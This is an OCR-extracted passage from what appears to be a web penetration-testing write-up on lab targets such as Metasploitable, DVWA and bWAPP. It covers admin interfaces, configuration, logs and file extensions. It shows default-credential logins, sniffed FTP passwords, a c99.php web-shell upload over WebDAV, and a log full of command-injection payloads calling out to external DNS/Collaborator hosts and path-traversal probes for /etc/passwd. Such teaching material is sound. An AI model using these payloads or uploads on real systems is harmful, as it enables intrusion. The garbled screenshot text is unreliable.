	collisions:0 txqueuelen:1000
	RX bytes:4268 (4.1 KB) TX bytes:7260 (7.0 KB)
:	Interrupt:19 Base address:0x2000
lo	Link encap:Local Loopback
1	inet addr:127.0.0.1 Mask:255.0.0.0
	inet6 addr: ::1/128 Scope:Host
	UP LOOPBACK RUNNING MTU:16436 Metric:1
	RX packets:92 errors:0 dropped:0 overruns:0 frame:0
	TX packets:92 errors:0 dropped:0 overruns:0 carrier:0
	collisions:0 txqueuelen:0
	RX bytes:19393 (18.9 KB) TX bytes:19393 (18.9 KB)
msfadmin@m	netasploitable: [~] S
msfadmin@m	netasploitable: ~S
msfadmin0m	netasploitable: ~\$
msfadmin@m	netasploitable:~\$ mysql -u root -p
Enter pass	sword:
Welcome to) the MySQL monitor. Commands end with ; or \S_{g} .
Your MySQL	connection id is 12
Server ver	sion: 5.0.51a-3ubuntu5 (Ubuntu)
Type ˈhelp); or 'Nh' for help. Type 'Nc' to clear the buffer.
mysqı> _	

Remote access via SFTP

-		and a second						
🊵 manhpham - msfadmin(@192.168.22	2.151 - WinSCP				80		×
Local Mark Files Comma	nds Sessio	n Options Remote	e Help					
🖶 🔁 🚔 Synchronize	🔳 🦑 💽] 🚳 🗿 Queue	•	Transfer Settings Default		• 👩 •		
📮 msfadmin@192.168.222.	151 🚅 Ne	ew Session						
🟪 C: Local Disk 🝷 🚰 😨		- 🖻 🖻 🔒	2 %	_/· • 🚰 🔽 🔶 •	> - 🕅	1 🔂 🥭		»
🗐 Upload 👻 📝 Edit 👻	×db	Properties »	+ »	E Download +	dit - 🗙 🚮 [Propertie	s >> [+ »
C:\Users\manhpham\				1				
Name	Size	Туре	(^	Name	Size	Changed		^
€		Parent directory	1	±		5/21/2012 1	:36:12 AN	1
.android		File folder	1	bin		5/14/2012 1	0:35:33 Al	м
AndroidStudio3.0		File folder	1	boot		5/14/2012 1	0:36:28 AI	M
.gradle		File folder	1	cdrom		4/29/2010 3	:26:18 AN	1
.VirtualBox		File folder	1	dev		2/4/2018 8:3	36:40 PM	
AndroidStudioProjects		File folder	1	etc		2/4/2018 8:5	51:11 PM	
2 Contacts		File folder	9	home		4/16/2010 1	:16:02 PM	l l
Desktop		System Folder	2	initrd		3/17/2010 5	:57:40 AN	1
Documents		System Folder	1	lib		5/14/2012 1	0:35:22 Al	M
🕹 Downloads		System Folder	2	lost+found		3/17/2010 5	:55:15 AN	1
☆ Favorites		File folder	9	- media		3/17/2010 5	:55:52 AN	1
Links		File folder	9	mnt		4/29/2010 3	:16:56 AN	1
J Music		System Folder	9 🗸	opt		3/17/2010 5	:57:39 AN	1 🗸
<			>	<				>
0 B of 0 B in 0 of 19		20	0 hidden	0 B of 20.5 KB in 0 of 23				
					G SFT	P-3 🗐	0:00:	49 .:

Access via web interface – such as HTTP basic

authentication Access via WebDAV

Local Mark Files Comm	ands Sessio	n Options Remote	Help				
🖶 🚟 🚔 Synchronize	🗩 🦑 💽] 🚳 🗿 Queue 🗸	. 1	Transfer Settings Default		- 😥 -	
📮 192.168.222.151 💣 N	ew Session						
📃 Desktop 🛛 🝷 🚰 🔽	🔶 - 🔿	- 🖻 🗈 🏠 🎜	20	_/ 🖀 🔽 🖛 -	-> - (m)	🖻 🏠 🎜	**
🛛 🔐 Upload 👻 📝 Edit 👻	×db	Properties *	+ »	Ed	it - 🗙 🚮	Properties	» 🛨 »
C:\Users\manhpham\Deskto	p/			1			
Name	Size	Туре	(^	Name	Size	Changed	
±		Parent directory	2				
CEH_Exam		File folder	1				
demofolder		File folder	1				
owasp		File folder	2				
CEH 03 proj 3.odt	539 KB	OpenDocument T	1				
Cross Site Scripting A	7,517 KB	PDF File	1				
CyberSecurityFullSolu	224 KB	Microsoft Excel W	1				
📱 dictionary security.pdf	41,233 KB	PDF File	1				
e goat.html	330 KB	HTML File	2				
ManhPham_Checklist	2,572 KB	OpenDocument S	1				
📓 mtea_1gki2d.pdf	215 KB	PDF File	2				
e mutillidae.html	1,080 KB	HTML File	2				
New Text Document.txt	0 KB	Text Document	2 🗸				
<			>	<			>
0 B of 59.2 MB in 0 of 18		1 h	idden	0 B of 0 B in 0 of 0			
					Web	DAV 🖳	0:00:33

Access via FTP

×										
Local Mark Files Commands Session Options Remote Help										
🖶 😤 😓 Synchronize 🗾 🧬 👔 Queue 🔹 🛛 Transfer Settings Default 🔹 🦪 🗸										
🕎 msfadmin@192.168.222.151 🚅 New Session										
🖹 My documei 🗸 🚰 🔽 🔶 – – – – 🗈 🔂 🎧 🤁 💁 🔚 m 🗸 🚰 🔽 🔶 – – – – 🗈 🔽 🎧 🥭 🔷										
🛙 🗊 Upload 👻 📝 Edit 👻	×db	Properties »	+ »	🛙 🔛 Download 👻 📝 Edi	t • 🗙 🚮 [Propertie	s »	+ »		
C:\Users\manhpham\Docur	ments\			/home/msfadmin/						
Name	Size	Туре	٢ م	Name	Size	Changed				
N_Scan		File folder	1	L .						
nt check		File folder	1	vulnerable		4/28/2010				
🔤 гр		File folder	1							
Virtual Machines		File folder	2							
🔊 20171108_NTjapan_N	527 KB	Microsoft Excel W	1							
🐏 20171108_Template	29 KB	OpenDocument T	1							
Assessment_s3.xlsx	355 KB	Microsoft Excel W	1							
CyberSecurityFullSolu	224 KB	Microsoft Excel W	1							
🔊 demofile.xlsx	116 KB	Microsoft Excel W	1							
final retest.xlsx	33 KB	Microsoft Excel W	9							
NashTech_CV _Manh	372 KB	Microsoft Word 9	1							
🔊 NTjapan_NashTech_S	161 KB	Microsoft Excel W	1							
			~							
<			>	<				>		
0 B of 1.77 MB in 0 of 12		5 h	idden	0 B of 0 B in 0 of 1			9	hidden		
					🔒 F1	rp 🗐	0:0	0:09		

Access via SSH

```
root@ilak:~# ssh 192.168.222.151 -l msfadmin
msfadmin@192.168.222.151's password:
'Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Sun Feb 4 08:37:36 2018
'msfadmin@metasploitable:~$ '
```

• Determine if administrative interfaces are available from an internal network or are also available from the internet. If available from the internet, determine the mechanisms that control access to these interface and their associated susceptibilities.
With insecure protocol like ftp, telnet or http basic authentication, easy to sniff administrator password with Wireshark

13 28.225579881	192.168.222.151	192.168.222.1	TCP	66 21 → 61961 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
14 28.225693023	192.168.222.1	192.168.222.151	TCP	60 61961 → 21 [ACK] Seq=1 Ack=1 Win=65536 Len=0
15 28.226876721	192.168.222.151	192.168.222.1	FTP	74 Response: 220 (vsFTPd 2.3.4)
16 28.227093458	192.168.222.1	192.168.222.151	FTP	69 Request: USER msfadmin
17 28.227148746	192.168.222.151	192.168.222.1	TCP	60 21 → 61961 [ACK] Seq=21 Ack=16 Win=5856 Len=0
18 28.227150210	192.168.222.151	192.168.222.1	FTP	88 Response: 331 Please specify the password.
19 28.227297993	192.168.222.1	192.168.222.151	FTP	69 Request: PASS msfadmin

Worse, WebDAV don't request username and password from client to identifying, so hacker can upload any malicious files him want.

🌆 / - 192.168.222.151 - WinSCP		- 🗆 X
Local Mark Files Commands Session C	Options Remote Help	
🖶 🎛 🔁 Synchronize 💿 🦑 💽	Queue • Transfer Settings Default	• 🛃 •
📮 192.168.222.151 😭 New Session		
📃 Desktop 🔹 🚰 😨 🛛 🖛 🔹 🔶 🗸	🔁 🔽 🏠 🔁 📙 / · • 🗳 🔽 🖛 • ⇒	🕨 🗈 🖻 🏠 🎜 🔹 👋
C:\Users\man	Prestier » I I » I P Poweload • P Edit •	🗙 🛃 🕞 Properties 👋 🛛 🛨 🎽
Name Cross Site CyberSecu dictionary goat.html Can't open file 'C:\L System Error. Cod Operation did not virus or potentially	Users\manhpham\Desktop\c99.php'. de: 225. complete successfully because the file contains a y unwanted software	Size Changed
ManhPhar mtea_1gki mutillidae. New Text I Men next 3 item	Retry Skip Skip all Help	>
note for santoku.txt 1 KB Text phpvulnweb.html 291 KB HT SQL Injection Attacks 6,575 KB PD TinyTake by MangoA 2 KB Sh	ext Document 1 TML File 2 DF File 1 nortcut 1 V	
< 0.B of 59.3 MB in 0 of 19	> < 1 hidden 0.8 of 0.8 in 0.of 0	>
		음 WebDAV 텍 0:02:54

Recommend using Secure protocol such as: FTPs, SFTP, SSH, TLS/SSL, VPN,...

• Change default user & password

Warning: Never expose this VM to an untrusted network! Contact: msfdev[at]metasploit.com Login with msfadmin/msfadmin to get started metasploitable login: msfadmin Password: Last login: Sun Feb 4 09:40:33 EST 2018 from 192.168.222.148 on pts/1 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail. msfadmin@metasploitable:~\$ _

2. Test Application Platform Configuration

Configuration review and testing is a critical task, while the typical web and application server installation will spot a lot of function (like application examples, documentation, test pages), what is not essential should be removed before deployment to avoid post install exploitation.

Black Box Testing and

Example Sample/known Files

and Directory

Many web servers and application servers provide, in a default installation, sample applications and files that are provided for the benefit of the developer and in order to test that the server is working properly right after installation.

However, many default web server applications have been later known to be vulnerable or information disclosure.

Example:

•

\leftarrow	\rightarrow	Ũ		wordpress.com/x	mlrpc.php?rsd		☆	=	h	È
<br - <r< td=""><td>xml ve sd xml · <ser< td=""><td>ersion= Ins="h vice> cengin cengin</td><th>="1.0" e ttp://a eName: eLink>h</th><th>ncoding="UTF-8" archipelago.phr WordPresshttps://wordpress</th><th>?> asewise.com ngineName> ess.org/<th>/rsd" \ gineLin</th><th>version=</th><td>"1.0"></td><td></td><td></td></th></ser<></td></r<>	xml ve sd xml · <ser< td=""><td>ersion= Ins="h vice> cengin cengin</td><th>="1.0" e ttp://a eName: eLink>h</th><th>ncoding="UTF-8" archipelago.phr WordPresshttps://wordpress</th><th>?> asewise.com ngineName> ess.org/<th>/rsd" \ gineLin</th><th>version=</th><td>"1.0"></td><td></td><td></td></th></ser<>	ersion= Ins=" h vice> cengin cengin	="1.0" e ttp://a eName: eLink> h	ncoding="UTF-8" archipelago.phr WordPresshttps://wordpress	?> asewise.com ngineName> ess.org/ <th>/rsd" \ gineLin</th> <th>version=</th> <td>"1.0"></td> <td></td> <td></td>	/rsd" \ gineLin	version=	"1.0">		
	- <	cnome capis>	PageLin	k>nttp://wora	press.com <th>iomera</th> <th>igeLink></th> <td></td> <td></td> <td></td>	iomera	igeLink>			
		<a< td=""><th>bi apiLin</th><th>k="https://wo</th><th>rdpress.com/ rdPross"/></th><th>xmlrp</th><th>c.php" p</th><td>preferred</td><td>l="tru</td><td>e"</td></a<>	bi apiLin	k="https://wo	rdpress.com/ rdPross"/>	xmlrp	c.php" p	preferred	l="tru	e "
		<a< td=""><th>biogrb bi apiLin</th><th>k="https://wo</th><th>dpress.com/</th><th>/xmlrp</th><th>c.php" p</th><td>oreferred</td><td>l="fals</td><td>se"</td></a<>	biogrb bi apiLin	k="https://wo	dpress.com/	/xmlrp	c.php" p	oreferred	l="fals	se"
			blogID	="1" name="Mo	/able Type"/>	>				
		<a< td=""><th>blogID:</th><th>ik="https://woi ="1" name="Mei</th><th>dpress.com/ aWeblog"/></th><th>xmlrp</th><th>c.php" p</th><td>preferred</td><td>l="fals</td><td>se"</td></a<>	blogID:	ik="https://woi ="1" name="Mei	dpress.com/ aWeblog"/>	xmlrp	c.php" p	preferred	l="fals	se"
		<a< td=""><th>bi apiLin</th><th>k="https://wo</th><th>dpress.com/</th><th>/xmlrp</th><th>c.php" p</th><td>oreferred</td><td>="fals</td><td>se"</td></a<>	bi apiLin	k="https://wo	dpress.com/	/xmlrp	c.php" p	oreferred	="fals	se"
			blogID	="1" name="Blo	gger"/>			-		
		<a< td=""><th>blogID</th><th>k="https://twi</th><th>tter-api.word</th><th>ipress.</th><th>.com/"</th><td>preferre</td><td>d="fals</td><td>5e"</td></a<>	blogID	k="https://twi	tter-api.word	ipress.	.com/"	preferre	d="fals	5e"
	<	/apis:	>							
	<td>rvice></td> <th></th> <th></th> <th></th> <th></th> <th></th> <td></td> <td></td> <td></td>	rvice>								
</td <td>rsd></td> <td></td> <th></th> <th></th> <th></th> <th></th> <th></th> <td></td> <td></td> <td></td>	rsd>									
Wordm	ess ver	sion sh	ow in re	adme						

• Brute force attack / Denial of Service attack in Wordpress's xmlrpc.php



XML-RPC server accepts POST requests only.



More information at:

https://isc.sans.edu/diary/Wordpress+%22Pingback%22+DDoS+Attacks/17801 https://hackerone.com/reports/96294

https://github.com/1N3/Wordpress-XMLRPC-Brute-Force-Exploit/blob/master/wordpress- xmlrpc-brute-v2.py

https://testpurposes.net/2016/11/01/wordpress-xmlrpc-brute-force-attacks-via-burpsuite/

Comment on source code review

It is very common and even recommended

ŵ	i view-source:http://192.168.222.136/mutillidae/index.ph	p
I thi</td <td>nk the database password is set to blank or perhaps s</td> <td>samurai.</td>	nk the database password is set to blank or perhaps s	samurai.
It dep	ends on whether you installed this web app from irong	geeks site or
are us.	ing it inside Kevin Johnsons Samurai web testing fram	levork.
It is this o	ok to put the password in HIML comments because no us	ser Will ever see
framew	ork comment symbols (ASP.NET, JAVA, PHP, Etc.)	should use the
rather	than HTML comments, but we all know those	
securi	ty instructors are just making all this up>	End Content
<td>te></td> <td></td>	te>	

Configuration review

Some common guidelines should be taken into account:

- Only enable server modules that are needed for application.
- Handle server errors code with custom-made pages.
- Make sure server software runs with minimize privileges in the operating system.

/var/www/dvwa/				
Name	Size	Changed	Rights	Owner
€ .		5/21/2012 2:31:37 AM	rwxr-xr-x	www-data
vulnerabilities		5/21/2012 2:22:36 AM	rwxr-xr-x	www-data
hackable		5/21/2012 2:22:36 AM	rwxr-xr-x	www-data
external		5/21/2012 2:22:36 AM	rwxr-xr-x	www-data
dvwa		5/21/2012 2:22:36 AM	rwxr-xr-x	www-data
docs		5/21/2012 2:22:36 AM	rwxr-xr-x	www-data
config		5/21/2012 2:23:35 AM	rwxr-xr-x	www-data
🥅 setup.php	2 KB	6/7/2010 10:58:00 AM	rw-rr	www-data
security.php	3 KB	3/16/2010 12:56:22 PM	rw-rr	www-data
robots.txt	1 KB	3/16/2010 12:56:22 PM	rw-rr	www-data
README.txt	5 KB	3/16/2010 12:56:22 PM	rw-rr	www-data
phpinfo.php	1 KB	3/16/2010 12:56:22 PM	rw-rr	www-data
🔊 php.ini	1 KB	7/6/2009 3:31:50 AM	rw-rr	www-data
logout.php	1 KB	3/16/2010 12:56:22 PM	rw-rr	www-data
login.php	3 KB	5/21/2012 2:52:33 AM	rw-rr	www-data
instructions.php	2 KB	3/16/2010 12:56:22 PM	rw-rr	www-data
index.php	2 KB	5/21/2012 2:51:49 AM	rw-rr	www-data
ids_log.php	1 KB	3/16/2010 12:56:22 PM	rw-rr	www-data
avicon.ico	2 KB	9/6/2010 10:59:42 PM	rw-rr	www-data
COPYING.txt	33 KB	3/16/2010 12:56:22 PM	rw-rr	www-data
CHANGELOG.txt	5 KB	6/7/2010 7:55:14 AM	rw-rr	www-data
about.php	3 KB	8/26/2010 11:15:16 PM	rw-rr	www-data

• Make sure the server software logs properly both legitimate access and errors.

/var/log/apache2/								
Name	Size	Changed	Rights	Owner				
±		2/5/2018 3:30:12 PM	rwxr-xr-x	root				
error.log.10.gz	1 KB	5/21/2012 12:45:08 PM	rw-rr	root				
error.log.9.gz	1 KB	9/21/2017 5:47:26 PM	rw-r	root				
error.log.8.gz	1 KB	10/10/2017 5:38:20 PM	rw-r	root				
error.log.7.gz	1 KB	10/20/2017 5:26:14 PM	rw-r	root				
error.log.6.gz	1 KB	11/14/2017 6:31:56 PM	rw-r	root				
error.log.5.gz	1 KB	11/22/2017 6:53:33 PM	rw-r	root				
error.log.4.gz	1 KB	12/4/2017 6:32:14 PM	rw-r	root				
error.log.3.gz	1 KB	12/11/2017 6:54:45 PM	rw-r	root				
error.log.2.gz	1 KB	12/22/2017 6:28:40 PM	rw-r	root				
error.log.1	1 KB	1/17/2018 6:42:56 PM	rw-r	root				
error.log	86 KB	2/5/2018 3:30:42 PM	rw-r	root				
access.log.7.gz	5 KB	9/21/2017 5:47:26 PM	rw-rr	root				
access.log.6.gz	3 KB	10/10/2017 5:38:20 PM	rw-r	root				
access.log.5.gz	2 KB	10/20/2017 5:26:14 PM	rw-r	root				
access.log.4.gz	2 KB	11/22/2017 6:53:33 PM	rw-r	root				
access.log.3.gz	2 KB	12/4/2017 6:32:14 PM	rw-r	root				
access.log.2.gz	2 KB	12/22/2017 6:28:40 PM	rw-r	root				
access.log.1	6 KB	1/17/2018 6:42:56 PM	rw-r	root				
access.log	204 KB	2/4/2018 10:00:32 PM	rw-r	root				

• Make sure that the server is configured to properly handle overloads and prevent Denial of Service attacks.

Logging

Logging is an important asset of the security of an application architecture, since it can be used to detect flaws in application, logs are typically properly generated by web and server software.

/var/log/								
Name	Size	Changed	Rights	Owner				
t		5/21/2012 4:30:19 AM	rwxr-xr-x	root				
apache2		2/5/2018 6:34:52 PM	rwxr-x	root				
apparmor		4/8/2008 4:39:29 AM	rwxr-xr-x	root				
apt		9/21/2017 5:47:26 PM	rwxr-xr-x	root				
dist-upgrade		4/22/2008 1:07:31 PM	rwxr-xr-x	root				
fsck		3/17/2010 5:59:33 AM	rwxr-xr-x	root				
installer		3/17/2010 6:15:03 AM	rwxr-xr-x	root				
mysql		3/17/2010 9:09:40 PM	rwxr-s	mysql				
news		3/17/2010 6:15:50 AM	rwxr-sr-x	news				
postgresql		2/5/2018 6:34:52 PM	rwxrwxr-t	root				
proftpd		4/28/2010 1:26:44 PM	rwxr-xr-x	root				
samba		2/5/2018 6:34:52 PM	rwxr-x	root				
tomcat5.5		12/8/2008 2:17:20 AM	rwxr-x	tomcat55				
auth.log	104 KB	2/5/2018 6:51:03 PM	rw-rr	syslog				
📑 boot	0 KB	5/21/2012 12:45:06 PM	rw-rr	root				
📑 btmp	0 KB	2/5/2018 6:34:52 PM	rw-rw-r	root				
btmp.1	0 KB	1/17/2018 6:42:56 PM	rw-rw-r	root				
daemon.log	546 KB	2/5/2018 6:45:36 PM	rw-rr	syslog				

Sensitive information in logs

Some applications might, for example use GET requests to forward form data which will be viewable in the server logs. This means that server logs might contain sensitive information (such as usernames as passwords, or bank account details). This sensitive information can be misused by an attacker if logs were to be obtained by an attacker, for example, through administrative interfaces or known web server vulnerabilities or misconfiguration (like the well-known server-status misconfiguration in Apache-based HTTP servers).

Log Location

Try to keep logs in a separate location, and not in the web server itself. This also makes it easier to aggregate logs from different sources that refer to the same application (such as those of a web server farm) and it also makes it easier to do log analysis (which can be CPU intensive) without affecting the server itself.

Log Storage

In UNIX systems, logs will be located in /var (although some server installations might reside in /opt or /usr/local) and it is thus important to make sure that the directories that contain logs are in a separate partition. In some cases, and in order to prevent the system logs from being affected, the

log directory of the server software itself (such as /var/log/apache in the Apache web server) should be stored in a dedicated partition.

Log rotation

Most servers (but few custom applications) will rotate logs in order to prevent them from filling up the file system they reside on. The assumption when rotating logs is that the information in them is only necessary for a limited amount of time.

This feature should be tested in order to ensure that:

- Logs are kept for the time defined in the security policy, not more and not less.
- Logs are compressed once rotated (this is a convenience, since it will mean that more logs will be stored for the same available disk space)
- File system permission of rotated log files are the same (or stricter) that those of the log files itself. For example, web servers will need to write to the logs they use but they don't actually need to write to rotated logs, which means that the permissions of the files can be changed upon rotation to prevent the web server process from modifying these.

Some servers might rotate logs when they reach a given size. If this happens, it must be ensured that an attacker cannot force logs to rotate in order to hide its tracks.

Log contents

- Do the logs contain sensitive information?
- Are the logs stored in a dedicated server?
- Can log usage generate a Denial of Service condition?
- How are log backups preserved?
- Is the data being logged data validated (min/max length, chars etc) prior to being logged?
- How are logs reviewed? Can admin use these review to detect targeted attack?
- How are they rotated ? are logs kept for the sufficient time?

Var/log/apache2/error.log - root@192.168.222.136 - Editor - WinSCP	-			×
🖙 🕞 🔁 🛍 🛠 🕲 🎔 🥂 🏙 🎭 🖄 📾 Encoding - 🗋 Color + 🋞 🕜				
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php'+sleep(20.to_i)-	', ref	ferer:	htt	:p: ^
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php'+eval(compile('-	or x i	in ran	ge(1	1):
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/eval(compile('for x in range(1):\\n import time\'	n time	e.slee	p(20))'
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php'.sleep(20).', re	ferer	: http	://1	192
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php{\${sleep(20)}},	eferer	r: htt	p://	/19
[[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/r80km3vuy04919nrwc01wxqfa6gw4osfk2aqz.burpcollabu	rator	.net,	refe	ane
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/http:, referer: http://192.168.222.136/bWAPP/por	al.php	þ		
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php nslookup -q=cnar	e zcfs	sqbz22	88h5	ihr
[[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php'"`0&nslookup -q	cname	m4rfi	yrpu	JV(
[[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php&nslookup -q=cnar	e 5agy	ohx80	e6n3	մոր
[[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php echo 88gtq33315	cx80d	j43pa	a #	£"
[[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php&echo hyeikmaavo	209ngi	u8tnr&	, re	efe
[[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php" echo 93hsbxp29	uwusl	lqz3nq	۱۱,	, t -
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php' echo cr3gb4juu:	pxo4	jasm4d	#xz	:wD
[[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php ping -n 21 127.0	.0.1	`ping	- C	21
[[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php ping -c 21 127.0	.0.1	x, re	fere	en:
[[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php&ping -n 21 127.0	.0.1&	, refe	rer:	t k –
[[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php' ping -c 21 127	0.0.1	#, re	fere	en :
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php" ping -n 21 127	0.0.1	, r	efer	rer
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/\\\\\\\\\\\\\\\\\\.	.\\'	////	\\	(wi
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/c:\\windows\\win.ini, referer: http://192.168.222	.136/1	WAPP/	port	:al
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] script '/var/www/bWAPP/insecure_direct_object_ref_1.php\\\\\\\\\\\\\\\	111	\\\.	.//.	. . ^
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] Invalid URI in request GET /bWAPP//././././././././././././././././.	/passi	wd HTT	P/1.	1
[[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /vgr/www/bWAPP/etc, referer: http://192.168.222.136/bWAPP/porta	php			

1	1	/ar/l	log/auth.l	og -	- root@192.16	8.222.13	6 - Editor -	WinSCP											
E	1	1	2 🕒 •	k I	î 🗙 a	9 C	🏥 👫	的 🖷	Encodi	ing 🕶 🗌	Color - {	ê 🕜							
Ma	ar	4	20:04:	52	owaspbwa	CRON[6009]:	pam_ur	nix(cr	on:ses	sion):	session	closed	for	user	root			
Ma	ar	4	20:09:	01	owaspbwa	CRON[6481]:	pam_ur	ix(cr	on:ses	sion):	session	opened	for	user	root	by	(uid=0)
Ma	ar	4	20:09:	01	owaspbwa	CRON[6481]:	pam_ur	ix(cr	on:ses	sion):	session	closed	for	user	root			
		-									- ·	-	-	-			-	· · · -	•



3. Test File Extensions Handling for Sensitive Information

File extensions are commonly used in web servers to easily determine which technologies / languages / plugins must be used to fulfill the web request.

Black box testing:

Submit http[s] requests involving different file extensions and verify how they are handled. These verifications should be on a per web directory basis.

The following file extensions should NEVER be returned by a web server, since they are related to files which may contain sensitive information, or to files for which there is no reason to be served.

- .asa
- .inc

Using google hack, easy to find them, such as:

• ext:asa inurl:www.maybole.org



The following file extensions are related to files which, when accessed, are either displayed or downloaded by the browser. Therefore, files with these extensions must be checked to verify that they are indeed supposed to be served (and are not leftovers), and that they do not contain sensitive information.

- .zip, .tar, .gz, .tgz, .rar, ...: (Compressed) archive files
- .java: No reason to provide access to Java source files
- .txt: Text files
- .pdf: PDF documents
- .doc, .rtf, .xls, .ppt, ...: Office documents
- .bak, .old and other extensions indicative of backup files (for example: ~ for Emacs backup files)

For more information, access to this link: http://filext.com/

We can mix some below techniques for solving this problem:

Vulnerability scanner oot@kali:~# nikto -h https://aspdotnetapp.infosecaddicts.com Nikto v2.1.6 Target IP: 104.25.166.6 aspdotnetapp.infosecaddicts.com Target Hostname: Target Port:993.php 443 + SSL Info: Subject: /OU=Domain Control Validated/OU=PositiveSSL Multi-D omain/CN=ssl373680.cloudflaressl.com Ciphers: TLS AES 256 GCM SHA384 Issuer: /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA L imited/CN=COMODO ECC Domain Validation Secure Server CA 2 Multiple IP addresses found: 104.25.166.6, 104.25.167.6 + Message: 2019-08-06 12:23:33 (GMT-4) + Start Time: + Server: cloudflare + The X-XSS-Protection header is not defined. This header can hint to the user a gent to protect against some forms of XSS + The site uses SSL and the Strict-Transport-Security HTTP header is set with ma x-age=0. + Expect-CT is not enforced, upon receiving an invalid Certificate Transparency Log, the connection will not be dropped.

• Spider tools

• Attps://aspdotnetapp.infosecaddicts.com	Host Method LIPI	
	https://aspdotnetapp.infosecaddicts.com/	
Default.aspx	Remove from scope	
V 📽 WebResource.axd	Spider this host	l?d=Z
d=Zn9Gc2IUfVDONBolEjBF47opha6V0DCpz	Actively seen this heat	l?d=tr
d=tmoudBcXuP1FvWPk4CIVeD7VxYHgVQF3s	Actively scan this host	d=1
🕨 🤹 bookdetail.aspx	Passively scan this host	d=2
🔻 🦲 cdn-cgi	Engagement tools [Pro version only]	▶ d=3
V Capps	Compare site maps	d=4
T C body	Expand branch	d=5
s nWFfBVgKuw9bmKbTOKDDO6ualyc.js	Expand producted items	d=6
🔻 🦲 head	Expand requested items	d=7
s ckgy0PiWGjg9puHUcMTwq3BmE2U.js	Collapse branch	d=8
🔻 🧮 images	Delete host	d=9
	Copy URLs in this host	
Interpretation of the second secon	Copy links in this host	
1 https://infosecaddicts.com	Save selected items	
https://phpapp.infosecaddicts.com	Show new site map window	6
	Site map help	2

Date: Tue. 06 Aug 2019 03:54:06 GMT

• Mirroring tools

root@kali:~# httrack http://104.25.167.6 --mirrorlinks
There is an index.html and a hts-cache folder in the directory
A site may have been mirrored here, that could mean that you want to update it
Be sure parameters are ok
Press <Y><Enter> to confirm, <N><Enter> to abort
Y
WARNING! You are running this program as root!
It might be a good idea to run as a different user
Mirror launched on Tue, 06 Aug 2019 12:33:53 by HTTrack Website Copier/3.49-2 [X
R&CO'2014]
mirroring http://104.25.167.6 with the wizard help..
Done.104.25.167.6/ (3583 bytes) - 403
Thanks for using HTTrack!
root@kali:~#

• Manual access

Gray box testing

Performing white box testing against file extensions handling amounts to checking the configurations of web server(s) / application server(s) taking part in the web application architecture, and verifying how they are instructed to serve different file extensions. If the web application relies on a load-balanced, heterogeneous infrastructure, determine whether this may introduce different behaviour.

4. Review Old, Backup and Unreferenced Files for Sensitive Information

While most of the files within a web server are directly handled by the server itself it isn't uncommon to find unreferenced and/or forgotten files that can be used to obtain important information about either the infrastructure or the credentials. Most common scenarios include the presence of renamed old version of modified files, inclusion files that are loaded into the language of choice and can be downloaded as source, or even automatic or manual backups in form of compressed archives. All these files may grant the pentester access to inner workings, backdoors, administrative interfaces, or even credentials to connect to the administrative interface or the database server.

Black Box Testing

Testing for unreferenced files uses both automated and manual techniques:

